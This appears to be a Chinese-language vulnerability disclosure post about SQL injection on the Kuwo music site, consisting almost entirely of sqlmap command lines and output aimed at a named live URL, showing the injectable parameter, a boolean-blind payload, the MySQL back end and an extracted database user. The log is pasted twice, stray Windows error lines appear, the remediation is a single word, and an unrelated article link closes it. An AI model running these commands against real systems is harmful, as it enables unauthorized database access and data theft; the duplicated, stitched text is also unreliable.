酷我主站一枚SQL注入root权限
RTRT
系统无法在消息文件中为 Application 找到消息号为 0x2350 的消息文本。
版权所有 (c) 2009 Microsoft Corporation。保留所有权利。
存储空间不足,无法处理此命令。
C:\Python27\sqlmap>sqlmap.py -u "http://www.kuwo.cn/hsy/hz/wdj/zhibotest.jsp?id=
26" --threads 10
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20160227}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 12:05:13
[12:05:14] [INFO] testing connection to the target URL
[12:05:15] [INFO] testing if the target URL is stable
[12:05:15] [INFO] target URL is stable
[12:05:15] [INFO] testing if GET parameter 'id' is dynamic
[12:05:16] [WARNING] GET parameter 'id' does not appear dynamic
[12:05:16] [INFO] heuristic (basic) test shows that GET parameter 'id' might be
injectable (possible DBMS: 'MySQL')
[12:05:16] [INFO] testing for SQL injection on GET parameter 'id'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads sp
ecific for other DBMSes? [Y/n] y
for the remaining tests, do you want to include all tests for 'MySQL' extending
provided level (1) and risk (1) values? [Y/n] n
[12:05:25] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[12:05:26] [WARNING] reflective value(s) found and filtering out
[12:05:32] [INFO] GET parameter 'id' seems to be 'AND boolean-based blind - WHER
E or HAVING clause' injectable (with --string="\u5f80\u671f\u9884\u6f14\u8282\u7
6ee")
[12:05:33] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause'
[12:05:33] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace'
[12:05:33] [INFO] testing 'MySQL inline queries'
[12:05:34] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)'
[12:05:34] [WARNING] time-based comparison requires larger statistical model, pl
ease wait..................
[12:05:40] [CRITICAL] considerable lagging has been detected in connection respo
nse(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or
more)
[12:05:40] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)'
[12:05:40] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[12:05:40] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other (potential) technique found
[12:05:46] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[12:05:50] [INFO] checking if the injection point on GET parameter 'id' is a fal
se positive
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any
)? [y/N] n
sqlmap identified the following injection point(s) with a total of 77 HTTP(s) re
quests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=26 AND 1997=1997
---
[12:07:20] [INFO] testing MySQL
[12:07:21] [INFO] confirming MySQL
[12:07:22] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.2
[12:07:22] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 51 times
[12:07:22] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\www.kuwo.cn'
[*] shutting down at 12:07:22
C:\Python27\sqlmap>sqlmap.py -u "http://www.kuwo.cn/hsy/hz/wdj/zhibotest.jsp?id=
26" --threads 10 --current-user
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20160227}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 12:07:32
[12:07:33] [INFO] resuming back-end DBMS 'mysql'
[12:07:33] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=26 AND 1997=1997
---
[12:07:34] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5
[12:07:34] [INFO] fetching current user
[12:07:34] [INFO] retrieving the length of query output
[12:07:34] [INFO] retrieved:
[12:07:34] [WARNING] reflective value(s) found and filtering out
20
[12:07:57] [INFO] retrieved: [email protected]
current user: '[email protected]'
[12:07:57] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\www.kuwo.cn'
[*] shutting down at 12:07:57
C:\Python27\sqlmap>sqlmap.py -u "http://www.kuwo.cn/hsy/hz/wdj/zhibotest.jsp?id=
26" --threads 10 --users
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20160227}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 12:08:18
[12:08:18] [INFO] resuming back-end DBMS 'mysql'
[12:08:18] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=26 AND 1997=1997
---
[12:08:19] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5
[12:08:19] [INFO] fetching database users
[12:08:19] [INFO] fetching number of database users
[12:08:19] [INFO] retrieved:
[12:08:19] [WARNING] reflective value(s) found and filtering out
[12:08:20] [WARNING] in case of continuous data retrieval problems you are advis
ed to try a switch '--no-cast' or switch '--hex'
[12:08:20] [CRITICAL] unable to retrieve the number of database users
[12:08:20] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 3 times
[*] shutting down at 12:08:20
C:\Python27\sqlmap>sqlmap.py -u "http://www.kuwo.cn/hsy/hz/wdj/zhibotest.jsp?id=
26" --threads 10 --users
系统无法在消息文件中为 Application 找到消息号为 0x2350 的消息文本。
版权所有 (c) 2009 Microsoft Corporation。保留所有权利。
存储空间不足,无法处理此命令。
C:\Python27\sqlmap>sqlmap.py -u "http://www.kuwo.cn/hsy/hz/wdj/zhibotest.jsp?id=
26" --threads 10
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20160227}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 12:05:13
[12:05:14] [INFO] testing connection to the target URL
[12:05:15] [INFO] testing if the target URL is stable
[12:05:15] [INFO] target URL is stable
[12:05:15] [INFO] testing if GET parameter 'id' is dynamic
[12:05:16] [WARNING] GET parameter 'id' does not appear dynamic
[12:05:16] [INFO] heuristic (basic) test shows that GET parameter 'id' might be
injectable (possible DBMS: 'MySQL')
[12:05:16] [INFO] testing for SQL injection on GET parameter 'id'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads sp
ecific for other DBMSes? [Y/n] y
for the remaining tests, do you want to include all tests for 'MySQL' extending
provided level (1) and risk (1) values? [Y/n] n
[12:05:25] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[12:05:26] [WARNING] reflective value(s) found and filtering out
[12:05:32] [INFO] GET parameter 'id' seems to be 'AND boolean-based blind - WHER
E or HAVING clause' injectable (with --string="\u5f80\u671f\u9884\u6f14\u8282\u7
6ee")
[12:05:33] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause'
[12:05:33] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace'
[12:05:33] [INFO] testing 'MySQL inline queries'
[12:05:34] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)'
[12:05:34] [WARNING] time-based comparison requires larger statistical model, pl
ease wait..................
[12:05:40] [CRITICAL] considerable lagging has been detected in connection respo
nse(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or
more)
[12:05:40] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)'
[12:05:40] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[12:05:40] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other (potential) technique found
[12:05:46] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[12:05:50] [INFO] checking if the injection point on GET parameter 'id' is a fal
se positive
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any
)? [y/N] n
sqlmap identified the following injection point(s) with a total of 77 HTTP(s) re
quests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=26 AND 1997=1997
---
[12:07:20] [INFO] testing MySQL
[12:07:21] [INFO] confirming MySQL
[12:07:22] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.2
[12:07:22] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 51 times
[12:07:22] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\www.kuwo.cn'
[*] shutting down at 12:07:22
C:\Python27\sqlmap>sqlmap.py -u "http://www.kuwo.cn/hsy/hz/wdj/zhibotest.jsp?id=
26" --threads 10 --current-user
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20160227}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 12:07:32
[12:07:33] [INFO] resuming back-end DBMS 'mysql'
[12:07:33] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=26 AND 1997=1997
---
[12:07:34] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5
[12:07:34] [INFO] fetching current user
[12:07:34] [INFO] retrieving the length of query output
[12:07:34] [INFO] retrieved:
[12:07:34] [WARNING] reflective value(s) found and filtering out
20
[12:07:57] [INFO] retrieved: [email protected]
current user: '[email protected]'
[12:07:57] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\www.kuwo.cn'
[*] shutting down at 12:07:57
C:\Python27\sqlmap>sqlmap.py -u "http://www.kuwo.cn/hsy/hz/wdj/zhibotest.jsp?id=
26" --threads 10 --users
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20160227}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 12:08:18
[12:08:18] [INFO] resuming back-end DBMS 'mysql'
[12:08:18] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=26 AND 1997=1997
---
[12:08:19] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5
[12:08:19] [INFO] fetching database users
[12:08:19] [INFO] fetching number of database users
[12:08:19] [INFO] retrieved:
[12:08:19] [WARNING] reflective value(s) found and filtering out
[12:08:20] [WARNING] in case of continuous data retrieval problems you are advis
ed to try a switch '--no-cast' or switch '--hex'
[12:08:20] [CRITICAL] unable to retrieve the number of database users
[12:08:20] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 3 times
[*] shutting down at 12:08:20
C:\Python27\sqlmap>sqlmap.py -u "http://www.kuwo.cn/hsy/hz/wdj/zhibotest.jsp?id=
26" --threads 10 --users
解决方案:
过滤
上一篇: 华为watchfitnew支持语音助手吗